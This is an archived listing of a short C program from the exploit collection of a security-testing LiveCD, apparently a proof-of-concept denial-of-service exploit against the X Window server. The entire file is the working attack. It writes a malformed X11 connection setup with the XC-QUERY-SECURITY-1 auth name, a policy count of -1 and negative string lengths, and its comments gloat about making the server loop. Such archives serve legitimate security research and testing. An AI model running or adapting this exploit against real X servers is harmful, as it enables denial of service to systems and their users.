home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / xserverdos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  999b  |  60 lines

  1. /* bust_x.c
  2.  * Demonstration purposes only!
  3.  * Chris Evans <chris@scary.beasts.org>
  4.  */
  5. int
  6. main(int argc, const char* argv[])
  7. {
  8.   char bigbuf[201];
  9.   short s;
  10.   char c;
  11.  
  12.   c = -120;
  13.  
  14.   memset(bigbuf, c, sizeof(bigbuf));
  15.  
  16.   /* Little endian */
  17.   c = 'l';
  18.   write(1, &c, 1);
  19.   /* PAD */
  20.   c = 0;
  21.   write(1, &c, 1);
  22.   /* Major */
  23.   s = 11;
  24.   write(1, &s, 2);
  25.   /* Minor */
  26.   s = 0;
  27.   write(1, &s, 2);
  28.   /* Auth proto len */
  29.   s = 19;
  30.   write(1, &s, 2);
  31.   /* Auth string len */
  32.   s = 200;
  33.   write(1, &s, 2);
  34.  
  35.   /* PAD */
  36.   s = 0;
  37.   write(1, &s, 2);
  38.  
  39.   /* Auth name */
  40.   write(1, "XC-QUERY-SECURITY-1", 19);
  41.  
  42.   /* byte to round to multiple of 4 */
  43.   c = 0;
  44.   write(1, &c, 1);
  45.  
  46.   /* Auth data */
  47.   /* Site policy please */
  48.   c = 2;
  49.   write(1, &c, 1);
  50.   /* "permit" - doesn't really matter */
  51.   c = 0;
  52.   write(1, &c, 1);
  53.   /* number of policies: -1, loop you sucker:) */
  54.   c = -1;
  55.   write(1, &c, 1);
  56.   /* Negative stringlen.. 201 of them just in case, chortle... */
  57.  
  58.   write(1, bigbuf, sizeof(bigbuf));
  59. }
  60.